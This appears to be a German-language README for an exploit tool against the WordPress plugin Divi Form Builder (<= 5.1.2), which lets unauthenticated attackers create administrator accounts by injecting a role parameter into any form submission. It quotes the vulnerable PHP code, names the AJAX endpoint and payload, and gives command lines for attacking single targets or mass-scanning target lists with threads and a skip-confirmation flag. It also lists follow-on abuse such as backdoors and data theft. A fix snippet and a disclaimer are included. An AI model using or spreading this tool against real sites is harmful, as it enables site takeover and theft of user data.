
Divi Form Builder <= 5.1.2 — Nicht authentifizierte Privilegieneskalation durch Rolleninjektion
🔥 Zusammenfassung der Sicherheitslücke
Das WordPress-Plugin Divi Form Builder in Versionen <= 5.1.2 ist anfällig für eine nicht authentifizierte Privilegienausweitung. Dieser kritische Fehler erlaubt es nicht authentifizierten Angreifern, ein neues Administrator-Konto direkt über ein beliebiges Divi Form Builder-Formular zu erstellen – einschließlich Kontaktformularen, Angebotsformularen, Newsletter-Formularen oder anderen DFB-fähigen Formularen.
Die Schwachstelle hat ihren Ursprung in der create_user()-Funktion in FormSubmissionHandler.php, die den Parameter role direkt aus vom Benutzer übermittelten POST-Daten akzeptiert, ohne ordnungsgemäße Autorisierung oder Allowlist-Validierung. Das Plugin prüft nur, ob die übermittelte Rolle existiert (z. B. administrator ist eine gültige WordPress-Rolle) – es wird nie geprüft, ob die Rolle für die öffentliche Registrierung sicher ist.
Durchbruch-Entdeckung: Der von Divi Form Builder verwendete fb_nonce ist ein globaler gemeinsamer Nonce (wp_create_nonce('security')) – identisch für alle Formulare auf der Website. Außerdem kann form_type=register per POST an den gemeinsamen AJAX-Handler überschrieben werden. Das bedeutet, dass jedes DFB-Formular (Kontakt, Angebot, Feedback usw.) verwendet werden kann, um eine Benutzerregistrierung mit einer beliebigen Rollenzuweisung auszulösen.
🔍 Betroffenes Plugin
🧨 Was Angreifer tun können
🧪 Exploit-Funktionen
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator zusammen mit normalen Formularfeldernresult.txt🧠 Angreifbarer Code
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 Verwendung
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
Erstellen Sie targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 Empfehlungen zur Behebung
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role-Eingabefeld vollständig aus Frontend-Formularencurrent_user_can('create_users') für privilegierte Rollen hinzu🧠 Forscher
📚 Referenzen
🔒 Haftungsausschluss:
Diese Informationen dienen ausschließlich zu Bildungszwecken und für autorisierte Penetrationstests. Die unbefugte Ausnutzung von Computersystemen ist illegal und unethisch. Holen Sie stets eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein Ziel testen, das Ihnen nicht gehört.
| Fähigkeit | Auswirkung |
|---|
| 🔑 Admin-Konto ohne Anmeldung erstellen | Vollständige Übernahme der Website |
| 📦 Zugriff auf WooCommerce-Kundendaten | Datenleck |
| 💉 Bearbeiten von Plugin/Theme-PHP-Dateien | Remote-Code-Ausführung |
| 🕳️ Installieren versteckter Backdoors | Dauerhafter Zugriff |
| 👥 Alle Benutzerdaten anzeigen | Datenschutzverletzung |
| Flag | Beschreibung |
|---|
-t, --target | Einzelne Ziel-URL |
-l, --list | Datei mit Zielliste (eine pro Zeile, http/https optional) |
-T, --threads | Threads für Massenscan (Standard: 10) |
-o, --output | Ausgabedatei für Ergebnisse (Standard: result.txt) |
-u, --username | Benutzerdefinierter Benutzername für das neue Konto |
-p, --password | Benutzerdefiniertes Passwort für das neue Konto |
-e, --email | Benutzerdefinierte E-Mail für das neue Konto |
-v, --verbose | Ausführliche Debug-Ausgabe |
--no-confirm | Bestätigungsaufforderung überspringen |